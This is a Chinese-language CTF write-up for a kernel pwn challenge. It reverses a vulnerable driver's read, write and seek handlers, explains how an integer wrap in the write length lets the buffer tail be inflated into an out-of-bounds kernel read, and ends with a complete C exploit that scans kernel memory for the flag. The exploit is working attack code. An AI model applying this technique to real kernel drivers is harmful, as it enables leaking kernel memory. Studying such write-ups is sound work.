题目链接
https://github.com/yfor-yfor/-/tree/main/2025%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9B
题目分析
一道kernel pwn,漏洞点在于可以修改data的head和tail值,做到任意读
init
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev
echo "[*] Welcome to Kernel PWN Environment" echo "[*] Starting shell..."
insmod /home/babydev.ko chmod 777 /dev/noc /tmp cp /proc/kallsyms /tmp/coresysms.txt /home/eatFlag &
exec /bin/sh
|
值得注意的点是,会执行一个叫eatFlag的二进制文件,核心内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| __int64 flag_init() { __int64 v1;
v1 = fopen64("/flag"); if ( !v1 ) { puts("failed to open /flag"); exit(0xFFFFFFFFLL); } flag = malloc(256LL, &unk_405000); if ( !flag ) { puts("failed to malloc"); exit(0xFFFFFFFFLL); } fread_unlocked(flag, 1LL, 256LL, v1); fclose(v1); return remove("/flag"); }
|
会创建一个堆块,读入flag内容,并且删除flag文件
start.sh
1 2 3 4 5 6 7 8 9 10 11
| #!/bin/sh qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -monitor /dev/null \ -append "root=/dev/ram rdinit=/init console=ttyS0 oops=panic panic=1 quiet rodata=off" \ -cpu qemu64,+smep,+smap \ -smp cores=2,threads=1 \ -nographic \ -snapshot
|
开启了最常规的几个保护
babydev.ko
ioctl
ioctl的几个操作用不上,可以泄露进程号,进程名,global_buf地址等等
关于能泄露的内容,实际上是对应栈上的几个变量,将他们改成一个结构体如下
感兴趣可以看一看
1 2 3 4 5 6 7 8
| struct dest { __int32 pid; char name[16]; __int32 remain; __int64 distance; __int64 global_buf_addr; };
|
global_buf
1 2 3 4 5 6
| struct buf { char data[65536]; __int64 head; __int64 tail; };
|
作为题目里的全局变量,对应的结构体内容如下,head不会改变始终为0
而tail会因为写入内容而增大
read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| __int64 __fastcall dev_read(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4) { __int64 v6; __int64 v7; __int64 head; __int64 v9;
v6 = *a4; v7 = 0LL; head = global_buf->head; v9 = global_buf->tail - head; if ( v6 < v9 ) { if ( v6 + n0x7FFFFFFF > v9 ) n0x7FFFFFFF = v9 - v6; if ( n0x7FFFFFFF > 0x7FFFFFFF ) BUG(); if ( copy_to_user(a2, &global_buf->data[v6 + head], n0x7FFFFFFF) ) { return -14LL; } else { *a4 += n0x7FFFFFFF; return n0x7FFFFFFF; } } return v7; }
|
区别于常规的read,它具有四个参数,而第四个参数,表示了读入的位置,并且读入成功的话,也会加上读入的长度
write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4) { __int64 tail; unsigned __int64 n0x7FFFFFFF_1; buf *global_buf;
tail = *a4; n0x7FFFFFFF_1 = n0x7FFFFFFF; if ( *a4 > 0xFFFF && tail >= global_buf->tail ) return -105LL; if ( tail + n0x7FFFFFFF > 0x10000 ) { n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4; } else if ( n0x7FFFFFFF > 0x7FFFFFFF ) { BUG(); } if ( copy_from_user(&global_buf->data[tail + global_buf->head], a2, n0x7FFFFFFF_1) ) return -14LL; global_buf = global_buf; *a4 += n0x7FFFFFFF_1; global_buf->tail += n0x7FFFFFFF_1; return n0x7FFFFFFF_1; }
|
write与read一样,多了个四参,同时也是控制了输出的起始位置
不过在标注处有一个关键的漏洞,令长度为(unsigned __int16)-*(_WORD *)a4
不难理解,是为了在后续用这一步*a4 += n0x7FFFFFFF_1;让*a4清零
但是如果*a4本身就超过了0x10000呢,比如*a4的值为0x10001,那运算的结果就会是-1,即0xffff
seek
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| __int64 __fastcall dev_seek(__int64 a1, __int64 a2, int n2) { __int64 v3; __int64 result; __int64 v5;
v3 = *(_QWORD *)(global_buf + 0x10008) - *(_QWORD *)(global_buf + 0x10000); if ( n2 == 1 ) { v5 = *(_QWORD *)(a1 + 0x40) + a2; if ( v5 < 0 ) return -22LL; } else { if ( n2 != 2 ) { if ( !n2 && a2 >= 0 && v3 >= a2 ) { v5 = a2; goto LABEL_7; } return -22LL; } v5 = v3 + a2; if ( v3 + a2 < 0 ) return -22LL; } if ( v3 < v5 ) return -22LL; LABEL_7: *(_QWORD *)(a1 + 0x40) = v5; result = v5; *(_QWORD *)(a1 + 0xB8) = 0LL; return result; }
|
跟lseek函数几乎一样,除了在rdx为SET_END(2)时,lseek此时对于rsi==50的话,表示移动到倒数50的地方,而dev_seek函数是rsi==-50表示移动到倒数50的地方
初步分析
首先,需要想办法读取flag内容,而eatFlag程序结束,对应的堆也消失了,只能够寻找内核中是否有可能存在flag
gdb调试,获取global_buf.data的地址
1 2
| pwndbg> p/x $rsi $2 = 0xffffa1bf02180000
|
搜索flag字符串所在内存
1 2 3 4
| pwndbg> search "flag{123" Searching for byte: b'flag{123' [pt_ffffa1bf01fbf] 0xffffa1bf074be050 'flag{12321321312312}' [pt_ffffffffbaa25] 0xffffffffbacbe050 'flag{12321321312312}'
|
1 2
| pwndbg> distance 0xffffa1bf02180000 0xffffa1bf074be050 0xffffa1bf02180000->0xffffa1bf074be050 is 0x533e050 bytes (0xa67c0a words)
|
最终得到,这个字段在global_buf.data外
并且多次测试发现,大概在0x5000000左右(注意,关闭kaslr时,flag好像就不会在global_buf.data正偏移处了)
而我们的data只有0x10000的可以用长度,所以为了读取到flag,必须攻击tail指针,使得我们可以读取远超合法范围的数据
漏洞利用流程
在利用前,需对read,write的第四个参数做一些测试
很明显,表示了读取或者输出的位置
而lseek函数,同样能修改读取和输出的位置,因为他修改的指针0x40偏移处的内容就是f_pos
而经过测试发现,lseek中对fpos的修改,能够影响到read,write的第四个参数进入时的取值
有两种让tail变得很大的方法:
1.
1 2 3 4 5
| for (int i=0;i<=5000;i++){ lseek(dev_fd,0, SEEK_SET); write(dev_fd,buf,0x10000); }
|
这个方法不断循环,就能让tail变得很大,但很显然不够优雅
2.
1 2 3 4 5 6
| write(dev_fd,buf,0x10000); lseek(dev_fd,0, SEEK_SET); write(dev_fd,buf,0x10000); lseek(dev_fd,8, SEEK_CUR); buf[0]=0x7FFFFFFFFFFFFFFF - 0xFFF8; write(dev_fd,buf,0x8);
|
这里利用到了write处存在的漏洞
1 2 3 4 5 6 7 8 9 10 11 12
| if ( *a4 > 0xFFFF && tail >= global_buf->tail ) return -105LL;
if ( tail + n0x7FFFFFFF > 0x10000 ) { n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4; }
global_buf->tail += n0x7FFFFFFF_1;
|
后续就不断地读取并且搜索flag字段即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #define _GNU_SOURCE #include "yfor-kernel.h" int main() { int dev_fd = open("/dev/noc", O_RDWR); if (dev_fd < 0) { error("open failed"); } size_t* buf=malloc(0x20000); char data[0x20000]={}; write(dev_fd,buf,0x10000); lseek(dev_fd,0, SEEK_SET); write(dev_fd,buf,0x10000); lseek(dev_fd,8, SEEK_CUR); buf[0]=0x7FFFFFFFFFFFFFFF - 0xFFF8; write(dev_fd,buf,0x8); for (int i=1;i<=5000;i++){ read(dev_fd,data,0x10000); for (int j=0;j<=0x10000-5;j++) if (memcmp(&data[j], "flag{", 5) == 0) { info("wrting flag"); for (int k=j;data[k]!='}';k++) printf("%c",data[k]); printf("}"); return 0; } } error("failed to find flag"); return 0; }
|